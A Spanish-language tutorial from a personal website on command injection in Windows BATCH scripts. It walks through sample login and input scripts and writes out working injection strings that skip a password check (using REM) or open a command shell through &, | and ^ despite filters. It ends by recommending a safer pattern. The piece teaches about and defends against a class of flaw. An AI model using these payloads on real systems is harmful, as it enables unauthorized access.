
TITO's WebsitE
Batch Injetcions
Vulnerabilidades en programas BATCH
Dado que recientemente me he dado cuenta de que las aplicaciones remotas
estan usando cada vez mas aplicaciones BATCH, (de las cuales yo he hecho
varias), para generar herramientas, con las cuales se cree que su uso es
seguro, he decidido escribir este documento sobre las vulnerabilidades en
estos programas, para que se reconsidere su uso en su futuro.
Estas vulnerabilidades, las he nombrados segun su semejanza con vulnera-
bilidades a nivel web, las cuales son BATCH Injection y BATCH Command
Execution.
BATCH Injection
Los que estén familiarizados con la seguridad a nivel web, seguramente
conocerán el término SQL Injection, o LDAP Injection, que nos permite
ejecutar sentencias SQL (o LDAP) en un interprete.
Mientras que estos ataques (especialmente SQLi), ya han sido ampliamente
estudiados, existe una variable, a la cual he llamado, BATCH Injection.
basándonos en el mismo princípio en el cual se basan las vulnerabílidades
de SQL Injection, el cual es insertar comandos extra, en una sentencia
con el uso de una variable comprometída, BATCH injection, nos permite
ejecutar comandos en un programa BATCH, que acepte alguna variable por
medio de el comando SET, o a travez de argumentos.
Puede que piensen que este ataque no es un vector de ataque remoto, pero
temo decirles que estan en un error. Aunque son pocas, existen programas
en los cuales, parte del código, utiliza BATCH, normalmente, para tareas
de administración via telnet. Un ejemplo, es el archivo en WindowsNT,
C:\WINNT\system32\login.cmd el cual aunque solo es una pantalla de
bienvenida, la cual nos da shell sin tener que vulnerar nada, demuestra
que el uso de archivos BATCH en tareas de administración telnet, es muy
común. Podemos ver el contenido a continuación:
>> type C:\WINNT\system32\login.cmd
@echo off
rem
rem Secuencia de comandos global predeterminada del inicio de sesión
rem para servidor Telnet
rem
rem En la instalación predeterminada, esta secuencia de comandos es
rem ejecutada cuando se ejecuta el comando inicial shell. A cambio,
rem intentará invocar la secuencia de comandos del inicio de sesión
rem del usuario individual.
rem
echo *===============================================================
echo Bienvenido al servidor Telnet de Microsoft.
echo *===============================================================
cd %HOMEDRIVE%%HOMEPATH% /d
Como podémos ver, no es necesário vulnerar nada, dado que se nos da acceso
inmediatamente a una shell, sinembargo, que tal que alguien, en un vago
intento de "asegurar" este código (alguien que no sabe configurar el
servidor telnet), tratará de reescribir este código a algo similar a:
>> copy con: login.cmd
@echo off
echo Bienvenido al sistema de administración via telnet.
set /P pass=Por favor ingresa tu contraseña:
if "%pass%"=="secreto" (
echo PASSWORD CORRECTO
) else (
echo PASSWORD INCORRECTO
call %~nx0
)
^Z
1 archivos copiados.
Se espera que el lector ya entienda la programación en BATCH.
en este caso, al ejecutar el comando, nos dará:
>> login.cmd
Bienvenido al sistema de administración via telnet.
Por favor ingresa tu contraseña: incorrecto
PASSWORD INCORRECTO
Bienvenido al sistema de administración via telnet.
Por favor ingresa tu contraseña: secreto
PASSWORD CORRECTO
Mientras no escriba el password correcto, el codigo se volverá a llamar
a si mismo, de esta forma se asegura de que hasta que el usuario envie
el password correcto, no pasará de esa pantalla.
Ahora, debemos entender como funciona el parser de BATCH en Windows.
cuando nosotros escribimos en un código BATCH, algo como..
>> echo %LANG%
es
El parser de batch, detecta la variable LANG, y la reemplaza por su
valor, es decir.. si hacemos algo como..
>> set cmd=ver
>> %cmd%
Microsoft Windows 2000 [Versión 5.00.2195]
Lo que hace es reemplazar %cmd% por "ver", y ejecutar "ver". Ahora que
sabemos eso, nos debemos dar cuenta de que, por ejemplo, si tenemos un
programa asi:
>> copy con: prueba.bat
@echo off
set /P nombre=¿Como te llamas?
echo Tu te llamas %nombre%
^Z
1 archivos copiados.
Nosotros podémos hacer que se guarde el resultado en un archivo, de la
siguiente forma:
>> prueba
¿Como te llamas? sirdarckcat > salida.txt
Como vimos, la salida del comando, no se mostro, lo que si hubiera pasado
si solo hubieramos puesto el nombre.. mira:
>> prueba
¿Como te llamas? sirdarckcat
Tu te llamas sirdarckcat
Y podemos comprobar que el archivo se escribió
>> type salida.txt
Tu te llamas sirdarckcat
En fin, no solo podemos redirigir la salida de comandos, tambien podemos
ejecutar nuestros propios comandos, con el símbolo &
>> prueba
¿Como te llamas? sirdarckcat & ver
Tu te llamas sirdarckcat
Microsoft Windows 2000 [Versión 5.00.2195]
Interesante no? para ahora, ya te debes haber dado cuenta que nuestro
script login.cmd es vulnerable a algo.. y si, tienes razón.
>> login
Bienvenido al sistema de administración via telnet.
Por favor ingresa tu contraseña: "=="" ( REM
PASSWORD CORRECTO
Te preguntarás que paso aquí.. porque me dijo PASSWORD CORRECTO? si yo
no sabía el password.. para eso, solo debemos de editar nuestro @echo off
>> copy con: login.cmd
@echo on
¿Sobrescribir login.cmd? (Sí/No/Todo): t
echo Bienvenido al sistema de administración via telnet.
set /P pass=Por favor ingresa tu contraseña:
if "%pass%"=="secreto" (
echo PASSWORD CORRECTO
) else (
echo PASSWORD INCORRECTO
call %~nx0
)
^Z
1 archivos copiados.
veamos:
>> login
>> echo Bienvenido al sistema de administración via telnet.
Bienvenido al sistema de administración via telnet.
>> set /P pass=Por favor ingresa tu contraseña:
Por favor ingresa tu contraseña:"=="" ( REM
>> if "" == "" (
REM "=="secreto" (
echo PASSWORD CORRECTO
) else (
echo PASSWORD INCORRECTO
call login.cmd
)
PASSWORD CORRECTO
Lo que hace REM, es comentar una linea, es decir, ignora todo lo que
esté despues de este, es el equivalente a "--" en MSSQL y a "/*" en mysql
BATCH Command Execution
Al igual que BATCH Injection, supongamos que queremos que un programa
al cual aparentemente no podemos hacer nada, aun con el password correcto
ejecute un comando, como por ejemplo.. nos de una shell.. esto se puede
hacer con "&" (y despues veremos como con "|")
>> prueba
¿Como te llamas? eduardo&cmd
Tu te llamas eduardo
Microsoft Windows 2000 [Versión 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
>> exit
Como vimos, simplemente con &cmd, podemos ejecutar comandos, ahora ya
pensarás que solo hay que filtrarlo.. pues, filtremoslo.
>> copy con: prueba_seguro.bat
@echo off
set /P nombre=¿Como te llamas?
set nombre=%nombre:&=_%
set nombre=%nombre:>=_%
set nombre=%nombre:<=_%
set nombre=%nombre:|=_%
set nombre=%nombre:"=_%
echo Tu nombre es %nombre%
^Z
1 archivos copiados.
>> prueba_seguro
¿Como te llamas? eduardo&cmd
Tu nombre es eduardo_cmd
>> prueba_seguro
¿Como te llamas? eduardo|start /B cmd /K REM
>>
>> Tu nombre es eduardo_start /B cmd /K REM
>> >> >>
Hey! que paso ahi? bueno, como ya te dije antes, cmd cambia las variables
por su contenido, es decir.. cuando hacemos, set nombre=%nombre:&=_%
el | es ejecutado.. por lo que CMD lee..
>> set nombre=eduardo|start /B cmd /K REM
>>
Lo que hace que salga 1 linea extra, aunque nada ahí es ejecutado.
ahora, tenemos todavia la posibilidad de ejecutar cosas con |
pero, que? cualquier comando, veremos su salida, pero yo quiero una shell
y para eso, haremos lo siguiente..
>> prueba_seguro
¿Como te llamas? &cmd ^
Microsoft Windows 2000 [Versión 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
>> exit
Microsoft Windows 2000 [Versión 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
>> exit
Microsoft Windows 2000 [Versión 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
>> exit
Microsoft Windows 2000 [Versión 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
>> exit
Esto: "&cmd ^" abrió 4 cmd.. porque? porque el caracter "^" quita lo que
esté despues de el, en este caso, un salto de línea.. por lo que al final
cmd interpreta..
set nombre=_cmd set nombre= & cmd set nombre= & cmd set nombre= & cmd
echo Tu nombre es & cmd
Ahora porque no se filtra el caracter ^ tambien?
La respuesta es porque ese debería ser el caracter a filtrar primero
ya que de lo contrario, arrastra a todos los demas filtros, pero si ese
es el primero en filtrarse, entonces podríamos usar & para abrir una
shell.
Una manera de solucionar eso, es colocando un espacio en cada linea.
>> copy con: prueba_mas.bat
@echo off
set /P nombre=¨Como te llamas?
set nombre=%nombre:&=_%
set nombre=%nombre:>=_%
set nombre=%nombre:<=_%
set nombre=%nombre:|=_%
echo Tu nombre es %nombre%
^Z
1 archivos copiados.
De esta forma.. el ^ solo cancelará un espacio, en ves de un salto de linea
y aun asi, despues de tanto, aun podemos hacer una shell.. ya que SET al ser
canalizado, no guarda el valor, es decir.. si decimos:
>> set dia=1|echo.
dia no valdra nada:
>> echo %dia%
%dia%
Asi que.. para poder detener el uso de &, ese debe ser el caracter filtrado
primero, pero el caracter | puede anular los filtros, asi que ese tambien
debe ser anulado primero, asi que un filtro en batch es irreal.. lo que
se debe hacer, es no usar variables (manipulables por el usuario) en forma
%var%, ya que siempre es posible ejecutar comandos asi, la forma correcta
es la siguiente:
>> copy con: seguro.bat
@echo off
set /P nombre=Escribe tu nombre:
set | find "nombre="
^Z
1 archivos copiados.
>> seguro
Escribe tu nombre: cmd|cmd&cmd^
nombre=cmd|cmd&cmd^
Para concluir solo quiero decirles, que BATCH solo debe ser usado para
automatizar tareas, nunca para una interacción remota, a menos que en
el código NUNCA se usen variables expandibles.. Hasta hoy, no he encontrado
un filtro realmente seguro, usando FOR's, FIND, canalizaciones, etc. siempre
hay alguna forma de ejecutar algun comando, por lo que no se debe usar BATCH
en un entorno inseguro.
Autor de la Web: Augusto Altman, autor de la firma Matias Polla